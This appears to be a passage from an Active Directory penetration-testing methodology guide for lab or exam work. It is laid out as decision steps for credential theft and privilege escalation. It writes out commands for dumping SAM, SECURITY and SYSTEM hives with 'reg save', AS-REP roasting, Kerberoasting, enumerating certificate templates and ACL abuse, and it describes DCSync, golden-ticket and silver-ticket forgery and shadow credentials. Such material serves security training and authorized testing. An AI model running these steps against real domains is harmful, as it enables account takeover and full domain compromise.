    $DnsBase = "CN=MicrosoftDNS,DC=DomainDnsZones,$Root"
    Get-ADObject -SearchBase $DnsBase -LDAPFilter '(objectClass=dnsNode)' -Properties dnsRecord -ResultSetSize 50
    
  • Validate: identify one exact dnsNode distinguished name, effective create/write-child or record-property right, zone replication scope, resolver path, intended record/value, TTL and cleanup/restore plan. Zone visibility is not write permission.

  • Execute: no record-add/modify/delete procedure is registered; keep mutation unavailable under RW10.

  • Verify: a future write must resolve through the intended client path and cleanup must restore only the changed record. LDAP success alone is insufficient.

  • Outcomes: exact writable object/zone and resolver path established → ready for RW10; effective right denied or non-AD-integrated zone → ruled out here; object visible but ACL/replication/client resolver unresolved → inconclusive.

Gain a more useful domain identity

Obtain accessible live logon-session credential materialNot inspectedA controlled Windows host may hold useful logged-on identities

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

whoami /all
query user
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL

Read the result

A useful session is a possible source, while PPL/protection can prevent the chosen process-memory access.

Still check: Verify actual privilege, fresh useful sessions, process/architecture compatibility and protection; prefer accessible tickets when sufficient.

Illustrative output
Current context: privileged host token
Session list: DOMAIN\USER may be present
RunAsPPL: enabled
Validate prerequisites and compare methods

Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material

whoami /all
query user
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
Open numbered procedure and alternatives →

What did you find?

Enabled: The authorized source is accessible and yields correctly classified material: follow its actual credential type.

Ruled out here: The required source is protected/unavailable to this context: reject that collection method.

Unresolved: A past graph session without fresh host evidence leaves useful live material unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

Classify tickets and use a compatible cache — A ccache/kirbi file or an existing ticket cache
Requires: Correct principal/realm, valid lifetime, service scope, compatible cache format and naming/KDC route

Extract local account hashes from matched SAM and SYSTEM — Protected local registry material is available under sufficient host privilege
Requires: Matched SAM/SYSTEM from the same system and appropriate read/backup access

Parse an offline domain database or select a justified remote collection path — An already controlled DC or a validated privileged domain collection context
Requires: Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method

Extract local account hashes from matched SAM and SYSTEMNot inspectedProtected local registry material is available under sufficient host privilege

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

hostname
whoami /priv

Read the result

Sufficient source access suggests local-account extraction, not domain-account extraction.

Still check: Verify a supported backup/read operation, complete same-host hives and offline parser context.

Illustrative output
Host: TARGET_HOST
Relevant backup/read privilege: present
Needed pair: SAM plus matching SYSTEM
Validate prerequisites and compare methods

Matched SAM/SYSTEM from the same system and appropriate read/backup access

whoami /priv
reg save HKLM\SAM C:\Windows\Temp\SAM.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save
Open numbered procedure and alternatives →

What did you find?

Enabled: The matched local pair is available and parses correctly: classify the returned local hashes.

Ruled out here: Only unrelated/mismatched hives are available: reject parsing them as a consistent pair.

Unresolved: A privilege name alone does not establish the artifacts can be obtained.

Show connections

These are conditional possibilities. Check the named condition before moving.

Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Extract LSA secrets and cached-domain verifiers — Matched SECURITY/SYSTEM material is accessible
Requires: Appropriate host/read privilege and complete matching key/source files

Extract LSA secrets and cached-domain verifiersNot inspectedMatched SECURITY/SYSTEM material is accessible

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

hostname
whoami /priv

Read the result

A SECURITY source targets secrets/cached verifiers with distinct semantics; it is not simply another SAM.

Still check: Confirm matched key material and classify every returned service/machine secret or DCC2 record.

Illustrative output
Available snapshot: SECURITY.save
Matching SYSTEM.save: verify
Expected outputs: LSA secrets and cached logon records
Validate prerequisites and compare methods

Appropriate host/read privilege and complete matching key/source files

reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save
Open numbered procedure and alternatives →

What did you find?

Enabled: A complete matched source yields usable typed material: choose its type-specific next method.

Ruled out here: The SYSTEM file comes from another snapshot/machine: reject that consistency assumption.

Unresolved: An empty parser result with incomplete source/context leaves credential absence unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Recover a password from cached domain logon verifiers — A DCC2/MSCache record from matched SECURITY/SYSTEM material
Requires: Correct username/salt/iteration context and feasible offline candidates

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Use Credential Manager and DPAPI with the protecting contextNot inspectedSaved credentials or protected application blobs/master keys

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

whoami /user
cmdkey /list

Read the result

The target and protecting SID identify which keys/context or consumer must be investigated.

Still check: Check matching master keys/recovery factors or an allowed saved-credential consumer; file read alone is insufficient.

Illustrative output
Protecting user: USER_SID
Credential target: TARGET_HOST
Available artifact: protected blob; plaintext not shown
Validate prerequisites and compare methods

Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor

cmdkey /list
whoami /all
Open numbered procedure and alternatives →

What did you find?

Enabled: Matching protection factors decrypt the material or the intended consumer works: use that bounded capability.

Ruled out here: Only a blob from an unrelated user is present without its required factors: reject the current decryption route.

Unresolved: A cmdkey listing without usable context does not establish a password.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Recover Windows application, history and stored-credential artifacts — Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries
Requires: Artifact read permission and exact protecting identity/context for saved or DPAPI material

Parse an offline domain database or select a justified remote collection pathNot inspectedAn already controlled DC or a validated privileged domain collection context

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

file NTDS.dit SYSTEM.save

Read the result

A database/key pair is an offline source candidate; remote DRS requires a different permission chain.

Still check: Verify same-source consistency and access, or independently validate the exact replication/remote collection prerequisites.

Illustrative output
NTDS.dit: database artifact
SYSTEM.save: registry artifact
Same DC/consistent snapshot: must be verified
Validate prerequisites and compare methods

Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method

file NTDS.dit SYSTEM.save
Open numbered procedure and alternatives →

What did you find?

Enabled: The consistent offline pair parses into account-labelled material: choose classification/reuse.

Ruled out here: Only administrator access on a member server exists: reject the assumed domain-database/replication access.

Unresolved: Two filenames without provenance do not prove a matched usable source.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use validated directory replication rights for bounded credential proof — A principal has the relevant effective replication rights at the domain naming context
Requires: Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient

Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Conditional: understand a realm-wide TGT forgery from KRBTGT material — An already compromised domain exposes a KRBTGT key and domain SID
Requires: Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior

Request AS-REP material for an account without preauthenticationNot inspectedA known user or directory flag indicates Kerberos preauthentication is disabled

Starting access: A known domain username for a password-free request, or an authenticated bind for directory-backed discovery

Discover the clue

Get-DomainUser -Properties samaccountname,useraccountcontrol |
  Select-Object samaccountname,@{n='UAC';e={[int]$_.useraccountcontrol}} |
  Where-Object { ($_.UAC -band 0x400000) -ne 0 }

Read the result

The DONT_REQUIRE_PREAUTH bit is set. Test the bit, not equality to one whole decimal value, because other flags coexist.

Still check: Check account state, KDC route, response/encryption type and feasible recovery; no-password discovery requires a real known username.

Illustrative output
samaccountname  UAC
TARGET_USER    4194816
Bit 0x400000: set
Validate prerequisites and compare methods

Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ

impacket-GetNPUsers 'DOMAIN/USER' -no-pass -dc-ip DC_IP
Open numbered procedure and alternatives →

What did you find?

Enabled: The selected enabled account returns the supported AS-REP artifact: choose its offline recovery path.

Ruled out here: The KDC requires preauthentication for that account: reject AS-REP roasting for that identity.

Unresolved: An unknown user or KDC timeout says nothing about the preauthentication setting.

Show connections

These are conditional possibilities. Check the named condition before moving.

Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

Request a selected service ticket for offline service-account recoveryNot inspectedA user-owned SPN and a useful service-account relationship

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof

Read the result

A user-owned SPN supplies the account key targeted by a service ticket and a reason to assess password-recovery feasibility.

Still check: Verify valid KDC context, selected account/SPN, returned encryption type, password model and useful resulting rights.

Illustrative output
samaccountname: SERVICE_USER
serviceprincipalname: HTTP/TARGET_HOST
object type: user
Validate prerequisites and compare methods

A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
Open numbered procedure and alternatives →

What did you find?

Enabled: The selected ticket artifact is supported and recovery is justified: choose the matching offline mode.

Ruled out here: The candidate has no SPN and no SPN-write right: reject ordinary/targeted roasting for this account.

Unresolved: SPN presence alone leaves weak password and eventual host access unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient

Create a temporary SPN through an effective object rightNot inspectedA controlled principal can write a user's servicePrincipalName

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

Get-DomainUser -Identity TARGET_USER -Properties serviceprincipalname
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs

Read the result

A specific writable SPN property on a useful user can create a ticket-request opportunity.

Still check: Verify trustee/effective property scope, enabled account, unique temporary SPN, KDC context and exact restoration.

Illustrative output
Existing SPNs: none
Effective trustee: CONTROLLED_GROUP
Potential right: write servicePrincipalName
Validate prerequisites and compare methods

Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup

Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
setspn -L TARGET_USER
Open numbered procedure and alternatives →

What did you find?

Enabled: The permitted temporary SPN produces the selected artifact and is removed: use the targeted recovery method.

Ruled out here: The ACE does not apply to this property/object: reject the proposed SPN modification.

Unresolved: A stale GenericWrite graph edge without current ACE verification is insufficient.

Show connections

These are conditional possibilities. Check the named condition before moving.

Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Inventory, convert and import tickets in the correct logon contextNot inspectedA valid ticket/cache or a long-term key that can request a TGT

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

klist

Read the result

A current TGT can request appropriate service tickets if the KDC/name route and account context work.

Still check: Distinguish TGT from TGS, format, logon-session scope, lifetime, SPN and destination authorization.

Illustrative output
Client: USER @ REALM
Server: krbtgt/REALM @ REALM
Valid end time: FUTURE_TIME
Validate prerequisites and compare methods

Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

klist
Open numbered procedure and alternatives →

What did you find?

Enabled: The matching service accepts the selected ticket context: choose that scoped operation.

Ruled out here: Only an unrelated expired service ticket exists: reject it for the proposed destination.

Unresolved: Successful import with no service action leaves usable access unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Forge a service-scoped ticket from the correct service key — A service account key and a concrete compatible service/SPN objective
Requires: Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use

Forge a service-scoped ticket from the correct service keyNot inspectedA service account key and a concrete compatible service/SPN objective

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

setspn -Q SERVICE/TARGET_HOST
whoami /user
klist

Read the result

The key must protect the intended service ticket; an arbitrary user's NT hash is not sufficient.

Still check: Verify key type/current value, domain SID, principal/SPN, validation behavior and accepted target action.

Illustrative output
SERVICE/TARGET_HOST belongs to SERVICE_ACCOUNT
Available key source: that service account
Domain SID: recorded separately
Validate prerequisites and compare methods

Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use

whoami /user
klist
setspn -Q SERVICE/TARGET_HOST
Open numbered procedure and alternatives →

What did you find?

Enabled: A correctly scoped ticket is accepted by the intended service: use only that verified service effect.

Ruled out here: The key belongs to a different account/SPN or is outdated: reject the forgery.

Unresolved: Ticket creation alone does not settle modern PAC/service validation.

Show connections

These are conditional possibilities. Check the named condition before moving.

Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Reset a target account password through a validated directory rightNot inspectedA controlled trustee has the effective password-reset right on a useful account

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs

Read the result

An applicable reset operation changes a target credential; it does not reveal the old password.

Still check: Validate effective membership, protection/account state, account utility and the authorized impact of a disruptive reset.

Illustrative output
Trustee: CONTROLLED_GROUP
Right: ExtendedRight
Resolved operation: password reset
Target: TARGET_USER
Validate prerequisites and compare methods

Exact object/right and account state; the disruptive password change is justified within the assigned lab objective

Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
Get-DomainUser -Identity TARGET_USER
Open numbered procedure and alternatives →

What did you find?

Enabled: The right applies and the authorized new credential is accepted: follow that identity's actual rights.

Ruled out here: Only an unrelated property-write right applies: reject password reset through this ACE.

Unresolved: An unresolved extended-right GUID or stale group edge needs effective-right resolution first.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient

Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights

Add a controlled identity to a group through effective membership rightsNot inspectedA group member-attribute write or equivalent effective right

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

Get-DomainGroupMember -Identity TARGET_GROUP
Get-DomainObjectAcl -Identity TARGET_GROUP -ResolveGUIDs

Read the result

A membership-write operation can grant a defined group capability once new logon/token state reflects it.

Still check: Verify effective right, actual group-derived authorization, nesting/token refresh and restoration.

Illustrative output
Target group: ACCESS_GROUP
Effective permitted operation: write member
Controlled account: not currently a member
Validate prerequisites and compare methods

Exact target group, controlled principal, useful resulting right and a fresh token/logon context

Get-DomainGroupMember -Identity TARGET_GROUP
Get-DomainObjectAcl -Identity TARGET_GROUP -ResolveGUIDs
Open numbered procedure and alternatives →

What did you find?

Enabled: The membership and a fresh context enable the intended service action: choose the group transition.

Ruled out here: The writable attribute is not member or the group grants no intended right: reject that chain.

Unresolved: Directory modification without refreshed/accepted authorization leaves practical effect unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Convert ownership or DACL control into a narrower useful rightNot inspectedEffective WriteOwner or WriteDacl on a useful directory object

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs

Read the result

Ownership/DACL control may enable a narrower useful ACE; it is an intermediate capability.

Still check: Validate actual owner semantics, deny/protected-object behavior, ability to grant the next right and original-state restoration.

Illustrative output
Trustee: CONTROLLED_PRINCIPAL
Effective right candidate: WriteOwner or WriteDacl
Validate prerequisites and compare methods

Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner

Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
Open numbered procedure and alternatives →

What did you find?

Enabled: The intermediate operation and narrow effective right are established: follow the linked reset/group/SPN method.

Ruled out here: The ACE targets another object scope or is ineffective for this trustee: reject that route.

Unresolved: WriteOwner text alone does not prove every later DACL modification succeeds.

Show connections

These are conditional possibilities. Check the named condition before moving.

Reset a target account password through a validated directory right — A controlled trustee has the effective password-reset right on a useful account
Requires: Exact object/right and account state; the disruptive password change is justified within the assigned lab objective

Add a controlled identity to a group through effective membership rights — A group member-attribute write or equivalent effective right
Requires: Exact target group, controlled principal, useful resulting right and a fresh token/logon context

Create a temporary SPN through an effective object right — A controlled principal can write a user's servicePrincipalName
Requires: Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup

Use validated directory replication rights for bounded credential proofNot inspectedA principal has the relevant effective replication rights at the domain naming context

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

Get-DomainObjectAcl -Identity DOMAIN_DN -ResolveGUIDs

Read the result

Replication rights at the domain scope are the relevant clue; local administrator rights on a member host are different.

Still check: Verify the complete effective replication rights for selected data, trustee membership, DC/RPC route and identity context.

Illustrative output
Applicable domain ACEs:
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
Trustee: CONTROLLED_PRINCIPAL
Validate prerequisites and compare methods

Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient

Get-DomainObjectAcl -Identity DOMAIN_DN -ResolveGUIDs
Open numbered procedure and alternatives →

What did you find?

Enabled: The required rights and route produce the bounded selected-account proof: choose DRS replication.

Ruled out here: The ACE applies only to a user/OU or lacks required replication rights: reject DCSync.

Unresolved: Unresolved GUIDs or RPC filtering leave rights/access separately unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

Capture state-transition, proof and exploit-adaptation evidence — Access, privilege, identity or route changes, or a report will need reproduction
Requires: Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance

Conditional: trace GPO control to privileged policy consumptionNot inspectedA useful linked GPO has a potentially controllable directory or SYSVOL component

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

Get-DomainGPO
Get-DomainOU | Select-Object name,gplink

Read the result

A linked policy supplies a potential privileged consumer only for hosts to which it actually applies.

Still check: Check both needed policy components, effective ACEs, security/WMI filtering, target scope and refresh trigger.

Illustrative output
OU: TARGET_OU
gPLink: POLICY_GUID
Potential GPO control: inspect directory and file components
Validate prerequisites and compare methods

Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger

Get-DomainGPO
Get-DomainOU | Select-Object name,gplink
Open numbered procedure and alternatives →

What did you find?

Enabled: The controlled policy is consumed on the intended host and effect verified: choose this conditional route.

Ruled out here: The target is excluded by policy filtering: reject that policy-to-host chain.

Unresolved: A writable GPO object without linked/applicable file-consumer evidence remains incomplete.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Control scheduled tasks, startup files or autostart consumers — A task/startup action consumes a writable command, file, directory or registry value
Requires: Effective object control, a higher principal and a usable scheduled/logon/manual trigger

Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities

Conditional: use a validated delegation or RBCD relationshipNot inspectedDelegation configuration or computer-object write suggests a Kerberos impersonation path

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained

Read the result

A delegation flag opens a configuration investigation; unconstrained, constrained and RBCD require different relationships.

Still check: Identify exact delegation type, controlled service/machine key, target SPN, relevant account flags and KDC acceptance.

Illustrative output
Computer: TARGET_HOST
Delegation-related flag: present
Target service and controlled key: not yet established
Validate prerequisites and compare methods

Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow

Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained
Open numbered procedure and alternatives →

What did you find?

Enabled: The complete matching relationship yields an accepted service ticket: use that service-scoped conditional path.

Ruled out here: The required service identity/key or allowed target is missing: reject that chain.

Unresolved: A generic delegation label without actual attributes/keys leaves impersonation unproved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Conditional: validate an AD CS enrollment-to-authentication pathNot inspectedA CA/template configuration exposes a plausible certificate identity transition

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

certipy find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -enabled

Read the result

The conjunction of purpose, subject control and effective enrollment rights is a candidate; issuance and identity mapping are separate gates.

Still check: Check exact template/CA rights/settings, approval/signatures, required key, current mapping and authenticatable identity.

Illustrative output
Template: TEMPLATE_NAME
Client Authentication: enabled
Subject control: candidate setting
Enrollment rights: GROUP
Approval/identity mapping: inspect
Validate prerequisites and compare methods

Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path

certipy find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -enabled
Open numbered procedure and alternatives →

What did you find?

Enabled: Issuance and intended account authentication are verified: use the certificate capability.

Ruled out here: Approval, denied enrollment or hardened mapping prevents the proposed transition: reject that route.

Unresolved: An ESC scanner label without the full effective configuration remains unconfirmed.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Conditional: understand a realm-wide TGT forgery from KRBTGT materialNot inspectedAn already compromised domain exposes a KRBTGT key and domain SID

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right

Discover the clue

klist
whoami /user

Read the result

KRBTGT key exposure is the enabling post-compromise condition; an ordinary NT hash or unrelated ticket cannot substitute.

Still check: Verify current cryptographic material/version, realm/SID/principal, time and actual service validation; retain recovery/cleanup scope.

Illustrative output
Private source classification: KRBTGT key, not ordinary service key
Domain SID/realm: recorded
Test service: explicitly scoped
Validate prerequisites and compare methods

Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior

klist
whoami /user
Open numbered procedure and alternatives →

What did you find?

Enabled: The authorized isolated-lab ticket is accepted for the intended action: document the domain-key impact.

Ruled out here: Only an ordinary service-account key is available: reject realm-wide TGT forgery.

Unresolved: A file labelled KRBTGT without source/version verification leaves the key claim unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Capture state-transition, proof and exploit-adaptation evidence — Access, privilege, identity or route changes, or a report will need reproduction
Requires: Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance

S02 · Read a classic LAPS password for one computerNot inspected
  • Enter: a specific computer object is relevant and the current directory principal may read ms-Mcs-AdmPwd.
  • Discover: identify the computer object and test the attribute read; merely enumerating the object is not enough.
  • Validate: the returned value is present, current and scoped to that computer’s managed local account; identify the intended local username and destination service separately.
  • Execute: Delegated LAPS/gMSA reads.
  • Verify: validate the password on one compatible service using explicit local-account context, then prove the specific permitted operation. Password acceptance does not prove local administration or remote execution.
  • Outcomes: readable current value → D17/D29; attribute denied/absent for this principal/object → ruled out here; schema, replication freshness or object identity unresolved → inconclusive.
S03 · Read or decrypt a Windows LAPS passwordNot inspected
  • Enter: a relevant computer uses Windows LAPS and the principal may read msLAPS-Password or decrypt the protected value.
  • Discover: query the exact computer attribute and record whether the result is plaintext JSON, encrypted content, empty or denied.
  • Validate: plaintext/decryption rights, password age, managed account name and host scope. An encrypted blob without the permitted decryption context is not a password.
  • Execute: Delegated LAPS/gMSA reads.
  • Verify: validate only against the named host and intended local account, then establish the actual service capability.
  • Outcomes: usable current password → D17/D29; no read/decrypt right → ruled out here; returned protected data but decryption context unknown → inconclusive.
S04 · Recover and classify gMSA materialNot inspected
  • Enter: a specific gMSA is used by a relevant service and the current identity may read msDS-ManagedPassword.
  • Discover: inspect the gMSA object and allowed managed-password readers; distinguish a raw blob from a decoded NT hash.
  • Validate: exact account name including $, managed-password read permission, working LDAPS/tool path, decoded representation and intended service/host.
  • Execute: Raw and decoded gMSA checks.
  • Verify: test one service compatible with the decoded material and record the exact accepted identity and operation. Authentication is not administrative execution.
  • Outcomes: decoded material accepted for the intended identity → D17/D29; read denied or wrong object type → ruled out here; raw blob, TLS failure or empty output → inconclusive.
S05 · Use a validated shadow-credential pathNot inspected
  • Enter: the effective principal can write the target object’s msDS-KeyCredentialLink, and the assigned lab permits the object change.
  • Discover: list existing key credentials before mutation and preserve their identifiers.
  • Validate: target identity, exact effective write right, DC PKINIT/key-trust support, DNS/time/KDC route, certificate tooling and a cleanup route.
  • Execute: Shadow credentials — add, authenticate and remove only the added DeviceID.
  • Verify: establish the cached target principal and one intended service action; then confirm that only the newly added key credential was removed.
  • Outcomes: target TGT/service capability established → D28/D29; effective write or PKINIT prerequisite disproved → ruled out here; write succeeds but certificate/KDC mapping is unresolved → D31/inconclusive.
